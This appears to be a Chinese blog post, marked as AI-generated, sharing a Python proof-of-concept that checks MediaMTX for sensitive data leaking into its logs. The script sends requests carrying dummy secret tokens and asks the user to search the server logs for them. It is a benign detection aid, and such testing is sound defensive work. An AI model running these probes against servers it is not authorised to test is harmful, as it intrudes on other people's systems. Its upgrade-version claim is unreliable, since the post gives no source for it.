AIGC标识 MediaMTX日志敏感信息泄露poc

import requests
import json
import time
import sys
import argparse

def check_log_leak(target_url, api_port, auth_header=None):
    """
    尝试触发可能记录敏感信息的操作,并提示用户检查日志。
    由于无法直接读取服务器端日志文件,此脚本主要模拟攻击载荷并指导人工核查。
    """
    print(f"[*] 正在对目标 {target_url} 进行日志泄露风险检测...")
    
    # 1. 构造带有明显标识的敏感数据 payload
    sensitive_token = "SECRET_TOKEN_1234567890"
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {sensitive_token}",
        "X-Custom-Secret": "MY_SUPER_SECRET_KEY"
    }
    
    # 2. 尝试访问一个可能触发日志记录的路径 (例如 API 状态或配置)
    # 注意:不同版本 API 路径可能不同,这里以常见的 /v1/config 或根路径为例
    test_paths = [
        "/v1/config",
        "/v1/paths",
        "/"
    ]
    
    found_vulnerable = False
    
    for path in test_paths:
        url = f"{target_url.rstrip('/')}{path}"
        try:
            print(f"[*] 测试路径: {url}")
            # 发送 GET 请求,携带敏感 Header
            resp = requests.get(url, headers=headers, timeout=5)
            print(f"[+] 响应状态码: {resp.status_code}")
            
            # 某些情况下,错误信息可能会回显部分请求内容
            if sensitive_token in resp.text:
                print("[!] 警告: 响应体中发现了敏感 Token!存在直接回显风险。")
                found_vulnerable = True
                
        except Exception as e:
            print(f"[-] 请求失败: {e}")

    # 3. 尝试 RTSP/RTMP 推流时的认证日志 (需要用户手动检查服务器日志文件)
    print("\n[!] 关键步骤: 请检查 MediaMTX 服务器端的日志文件 (通常为 stdout 或 mediamtx.log)")
    print(f"    查找是否包含以下字符串: '{sensitive_token}' 或 'MY_SUPER_SECRET_KEY'")
    print("    如果日志中明文出现了这些测试字符串,则存在敏感信息泄露漏洞。")
    print("    建议升级至 v1.19.2 或更高版本,并确保 logLevel 不为 'debug' 除非必要。")
    
    return found_vulnerable

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="MediaMTX Log Sensitivity Leak PoC")
    parser.add_argument("--url", type=str, default="http://localhost:8888", help="MediaMTX HTTP API URL")
    args = parser.parse_args()
    
    check_log_leak(args.url, 8888)

 

posted @ 2026-09-10 15:11  LalaTina  阅读(6)  评论(0)    收藏  举报